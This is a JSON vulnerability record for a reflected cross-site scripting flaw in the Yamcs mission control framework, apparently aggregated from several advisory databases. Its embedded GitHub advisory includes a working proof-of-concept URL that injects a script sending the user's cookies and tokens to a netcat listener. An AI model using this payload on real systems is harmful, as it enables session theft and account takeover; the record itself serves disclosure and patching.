{"id":"CVE-2026-55549","aliases":["EUVD-2026-67841","GHSA-rxpg-wjf8-qv9c"],"status":"published","title":"Yamcs: Reflected XSS in the URL of the Authorize Endpoint","description":"Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01305,"percentile":0.70773,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-08-28T17:15:52Z","modified":"2026-10-28T10:52:15Z","exploits":[{"source":"nuclei","id":"CVE-2026-55549","title":"Yamcs \u003c=5.8.6 - Cross-Site Scripting","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-55549.yaml"}],"fixes":[{"ecosystem":"Maven","package":"org.yamcs:yamcs-core","fixed_in":["5.9.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.yamcs:yamcs-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.9.4"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.yamcs:yamcs-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.9.4"}]}],"versions":["0.29.3","0.30.0","3.0.0","3.1.0","3.1.1","3.1.2","3.2.0","3.2.1","3.2.2","3.3.0","3.3.1","3.4.0","3.4.1","3.4.11","3.4.2","3.4.3","3.4.4","3.4.5","3.4.6","3.4.8","4.0.0","4.0.1","4.1.1","4.1.2","4.10.0","4.10.1","4.10.2","4.10.3","4.10.4","4.10.5","4.10.6","4.10.7","4.10.8","4.10.9","4.2.0","4.2.1","4.2.2","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.7","4.7.1","4.7.3","4.8.0","4.8.1","4.9.0","4.9.1","4.9.2","4.9.3","4.9.4","5.0.0","5.1.0","5.1.1","5.1.2","5.1.3","5.1.4","5.2.0","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.2.6","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.5.0","5.5.1","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.7","5.6.0","5.6.1","5.6.2","5.7.0","5.7.1","5.7.10","5.7.11","5.7.12","5.7.13","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.9","5.8.0","5.8.1","5.8.2","5.8.3","5.8.4","5.8.5","5.8.6","5.8.7","5.8.8","5.9.0","5.9.1","5.9.2","5.9.3"]}],"products":[{"vendor":"yamcs","product":"yamcs"}],"references":[{"url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-rxpg-wjf8-qv9c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55549.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55549","tags":["advisory"]},{"url":"https://github.com/yamcs/yamcs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55549","title":"Yamcs: Reflected XSS in the URL of the Authorize Endpoint","description":"Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.","status":"published","published":"2026-08-28T17:15:52.84Z","modified":"2026-09-01T01:49:34.239Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-67841","description":"Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.","status":"published","published":"2026-08-28T17:15:52Z","modified":"2026-09-01T01:49:34Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:01:19.818565Z"}],"ghsa":[{"id":"GHSA-rxpg-wjf8-qv9c","title":"Yamcs has Reflected XSS in the URL of the Authorize Endpoint","description":"### Attack type: \nUnauthenticated remote  \n\n### Impact: \nAttackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.\n\n### Affected components: authorize.html, AuthHandler.java, HandlerContext.java\n\nA Reflected Cross-Site Scripting vulnerability exists in Yamcs \u003c=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.\n\nUsing a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser:\n\n\u003cimg width=\"1794\" height=\"816\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e\" /\u003e\n\nYou then use JavaScript to obtain the user's cookies and display them in the alert:\n\n\u003cimg width=\"1794\" height=\"1290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435\" /\u003e\n\nFinally, use the `fetch` function to send the user's cookies to a remote server which we controlled:\n\n\u003cimg width=\"2370\" height=\"1025\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8\" /\u003e\n\nNow you can set these cookies in our own browser and login to Yamcs as the user.\n\n## Steps to Reproduce\n1. Start Yamcs\n2. Login as a user\n3. In a terminal, start a netcat listener:\n\n```\nnc -nlvp 8888\n```\n\n4. Paste the following URL payload in the browser\n\n```\nhttp://localhost:8090/auth/authorize?client_id=yamcs-web\u0026state=Lw\u0026response_mode=query\u0026response_type=code\u0026scope=openid\u0026redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y\"\u003e\u003cscript\u003efetch(`http://localhost:8888?c=${document.cookie}`)\u003c%2Fscript\u003eekuou\n```\n\n5. You will receive a connection on your netcat listener containing the user's access token and refresh token.\n\n## Acknowledgements\nThis vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.","status":"published","published":"2026-08-28T17:17:50Z","modified":"2026-08-28T17:17:52Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:07.031507Z"}],"nvd":[{"id":"CVE-2026-55549","description":"Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.","status":"published","published":"2026-08-28T20:18:28.657Z","modified":"2026-09-08T21:08:37.32Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:42.366888Z"}],"osv":[{"id":"CVE-2026-55549","title":"Yamcs: Reflected XSS in the URL of the Authorize Endpoint","description":"Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.","status":"published","published":"2026-08-28T17:15:52.84Z","modified":"2026-10-28T10:52:15.837770061Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-rxpg-wjf8-qv9c","title":"Yamcs has Reflected XSS in the URL of the Authorize Endpoint","description":"### Attack type: \nUnauthenticated remote  \n\n### Impact: \nAttackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.\n\n### Affected components: authorize.html, AuthHandler.java, HandlerContext.java\n\nA Reflected Cross-Site Scripting vulnerability exists in Yamcs \u003c=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.\n\nUsing a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser:\n\n\u003cimg width=\"1794\" height=\"816\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e\" /\u003e\n\nYou then use JavaScript to obtain the user's cookies and display them in the alert:\n\n\u003cimg width=\"1794\" height=\"1290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435\" /\u003e\n\nFinally, use the `fetch` function to send the user's cookies to a remote server which we controlled:\n\n\u003cimg width=\"2370\" height=\"1025\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8\" /\u003e\n\nNow you can set these cookies in our own browser and login to Yamcs as the user.\n\n## Steps to Reproduce\n1. Start Yamcs\n2. Login as a user\n3. In a terminal, start a netcat listener:\n\n```\nnc -nlvp 8888\n```\n\n4. Paste the following URL payload in the browser\n\n```\nhttp://localhost:8090/auth/authorize?client_id=yamcs-web\u0026state=Lw\u0026response_mode=query\u0026response_type=code\u0026scope=openid\u0026redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y\"\u003e\u003cscript\u003efetch(`http://localhost:8888?c=${document.cookie}`)\u003c%2Fscript\u003eekuou\n```\n\n5. You will receive a connection on your netcat listener containing the user's access token and refresh token.\n\n## Acknowledgements\nThis vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.","status":"published","published":"2026-08-28T17:17:50Z","modified":"2026-08-28T17:40:35.523121Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:56.639206Z"}]}}
